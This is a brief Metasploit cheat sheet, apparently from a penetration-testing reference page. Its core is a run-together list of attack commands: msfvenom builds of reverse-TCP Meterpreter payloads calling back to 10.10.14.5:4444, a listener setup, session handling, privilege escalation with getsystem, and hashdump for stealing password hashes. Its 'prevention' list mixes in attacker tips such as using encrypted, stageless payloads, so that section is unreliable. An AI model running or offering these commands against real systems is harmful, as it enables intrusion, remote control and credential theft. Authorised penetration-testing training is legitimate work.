Metasploit Framework
Metasploit cheatsheet — Metasploit framework usage and techniques.
Overview
Metasploit Framework is one of the most powerful exploitation frameworks available to penetration testers. It provides a comprehensive suite of tools for reconnaissance, exploitation, payload generation, and post-exploitation across thousands of known vulnerabilities.
Metasploit's modular architecture allows operators to quickly combine exploits, payloads, encoders, and post-exploitation modules.
Category: Metasploit — Metasploit framework usage and techniques.
Key Commands & Payloads
The following commands and payloads are commonly used when testing for or exploiting Metasploit Framework:
msfconsolemsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o payload.elfmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o payload.exeuse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST 10.10.14.5set LPORT 4444exploit -jsessions -lsessions -i 1use post/multi/recon/local_exploit_suggesterrungetsystemhashdumpTools & Techniques
Recommended tools for Metasploit Framework:
- msfconsole: interactive Metasploit console
- msfvenom: standalone payload generator
- search <cve/keyword>: find modules
- use <module>: select an exploit/auxiliary/post module
- show options / show targets / show payloads
- Meterpreter: advanced post-exploitation agent
Prevention & Mitigation
Security recommendations to prevent Metasploit Framework:
- Keep Metasploit and msfvenom updated nightly
- Use encrypted payloads and stageless payloads
- Implement EDR/AV solutions to detect Metasploit payloads
- Monitor for Meterpreter network signatures
- Harden systems against known exploits (patch regularly)
- Use network segmentation to limit lateral movement
References
Additional resources: